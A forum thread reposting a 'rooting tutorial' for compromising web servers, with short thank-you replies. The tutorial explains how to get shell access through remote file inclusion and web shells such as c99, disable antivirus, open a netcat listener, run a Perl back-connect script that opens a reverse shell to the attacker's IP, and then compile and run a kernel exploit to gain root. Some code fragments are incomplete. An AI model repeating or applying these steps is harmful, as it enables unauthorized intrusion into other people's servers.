![]() |
Rooting Tutorial
NOTE THIS TUT WAS NOT CREATED BY ME IT WAS MADE BY w3tw0rk AT ROOT SHELL SECURITY TEAM. PLEASE GIVE ALL THE THANKS TO HIM FOR MAKING THIS TUTORIAL
Hello Everyone and welcome to my tutorial on rooting boxes!! Today you will learn one of many methods to rooting an "insecure" box. Obviously if you are reading this I don't think you will be using any 0-day kernel exploits :P. So basic things you will need for this tutorial to work for you will be the following: Shell Access on a website is the first thing you will need. How you gain this access is entirely up to you. I would say most people will end up going with a simple remote file inclusion and place yourself a c99, r57, locust or any shell of your choice. You will want to get yourself a version of NetCat Which you can find at this location http://www.vulnwatch.org/netcat/nc111nt.zip If you have an antivirus that auto deletes infected files or virii i would suggest disabling it as some av's will detect netcat as a hacktool or remote admin tool. Once you have downloaded netcat open netcat up and it will ask you to enter a string for the command line. Reading up on netcat is recommended but if your lazy a string like this will do just fine Code:
-vv -l -n -p <porttoconnecton>Code:
perl bc.pl <youriphere> <porttoconnecton>Code: PERL
http://portforward.com/routers.htm So Now that you have your tools and you have your shell access open up netcat and type in -vv -l -n -p 8080 for this tutorial we will connect on port 8080. Hit enter and it should start listening. Go back to the server and upload your bc.pl. Execute the back connect with a command such as perl bc.pl <yourip> 8080. once you execute this you can go back to the shell and it should have connected. With this particular back connect you don't have to find the kernel version because it displays it for you once it connects, but for those of you who are using a different back connect to find the os kernel version and userid you can type something like this into the shell and it will give you the info. Code:
uname -a;idCode:
Linux alexandra.adm24.de 2.6.8-2-686-smp #1 SMP Tue Aug 16 12:08:30 UTC 2005 i686 GNU/LinuxHere is a kernel refrence for you all this will tell you what exploits work for the differenet kernels. Just to give you a general idea. note that this refrence is kind of old but is still pretty accurate but there could be newer exploits now. Code:
2.2 -> ptraceex: Code:
gcc xpl.c -o xplFrom here now all you have to do is run your exploit which can be done by simply typing in your netcat connection Code:
./xplI know that there are many other methods to rooting boxes but this is one method that is people can use that is fairly easy to follow. If you have any comments about the method feel free to ask but please don't knock it down. If you do not like this method thats fine you can write a tutorial for everyone using your own method. Hope you enjoyed this tutorial and i hope it was helpful to you. Tutorial by w3tw0rk shoutz to rootshell security team http://www.rootshell-team.com |
Re: Rooting Tutorial
Nicely written and bookmarked in facebook. Also I guess you have the permission to post the tut here.
|
Re: Rooting Tutorial
Thankyou sir
|
Hi maaan ))))
Great site! I'm impressed. :)
|
Re: Rooting Tutorial
Thankyou
|
Re: Rooting Tutorial
|
Re: Rooting Tutorial
thankyou so much sir
|
Re: Rooting Tutorial
This is my first post and this really helped me out with rooting problems :pleased:
|
Re: Rooting Tutorial
ohh Well thanks mate lol ummm post ur adventures on what all you have done with this tutorial. also go to rootthisbox.org for your more rooting needs
|
Re: Rooting Tutorial
Nice one.
|
| All times are GMT +5.5. The time now is 06:54. |